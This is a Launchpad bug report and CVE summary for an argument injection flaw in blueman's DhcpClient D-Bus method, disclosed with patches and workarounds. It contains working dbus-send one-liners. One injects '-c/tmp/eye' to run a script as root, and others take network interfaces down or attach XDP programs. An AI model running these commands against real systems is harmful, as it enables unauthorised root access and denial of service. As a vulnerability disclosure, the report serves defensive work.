Headline
CVE-2020-15238: Bug #1897287 “Argument Injection leads to Local Privilege Escala...” : Bugs : blueman package : Ubuntu
Blueman is a GTK+ Bluetooth Manager. In Blueman before 2.1.4, the DhcpClient method of the D-Bus interface to blueman-mechanism is prone to an argument injection vulnerability. The impact highly depends on the system configuration. If Polkit-1 is disabled and for versions lower than 2.0.6, any local user can possibly exploit this. If Polkit-1 is enabled for version 2.0.6 and later, a possible attacker needs to be allowed to use the org.blueman.dhcp.client
action. That is limited to users in the wheel group in the shipped rules file that do have the privileges anyway. On systems with ISC DHCP client (dhclient), attackers can pass arguments to ip link
with the interface name that can e.g. be used to bring down an interface or add an arbitrary XDP/BPF program. On systems with dhcpcd and without ISC DHCP client, attackers can even run arbitrary scripts by passing -c/path/to/script
as an interface name. Patches are included in 2.1.4 and master that change the DhcpClient D-Bus method(s) to accept BlueZ network object paths instead of network interface names. A backport to 2.0(.8) is also available. As a workaround, make sure that Polkit-1-support is enabled and limit privileges for the org.blueman.dhcp.client
action to users that are able to run arbitrary commands as root anyway in /usr/share/polkit-1/rules.d/blueman.rules.
Hi,
The DhcpClient method of the d-bus interface to blueman-mechanism is prone to an argument injection vulnerability. On systems where the isc-dhcp-client package is removed and the dhcpcd package installed, this leads to Local Privilege Escalation to root from any unprivileged user. See attached python script for a working exploit. Or use this oneliner with a shellscript "/tmp/eye":
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"
This happens because the argument is not sanitized before being used as an argument to dhcpcd.
Also on default installations with isc-dhcp-client installed, this can lead to DoS attacks by bringing any interface down as follows:
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
Or allows users to attach XDP objects to an interface:
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"
This both happens because the argument is passed to “ip link” unsanitized.
The fix would be to test if the argument is a valid interface name. But it might also need to check if the user is authorized to alter the given interface. Currently even a call with just the argument “ens33” will allow any unprivileged user to spawn a dhclient process on that interface.
Description: Ubuntu 20.04.1 LTS
Release: 20.04
blueman:
Installed: 2.1.2-1
Candidate: 2.1.2-1
Version table:
*** 2.1.2-1 500
500 http://nl.archive.ubuntu.com/ubuntu focal/universe amd64 Packages
100 /var/lib/dpkg/status
Kind regards,
Vaisha Bernard
EYE Control B.V.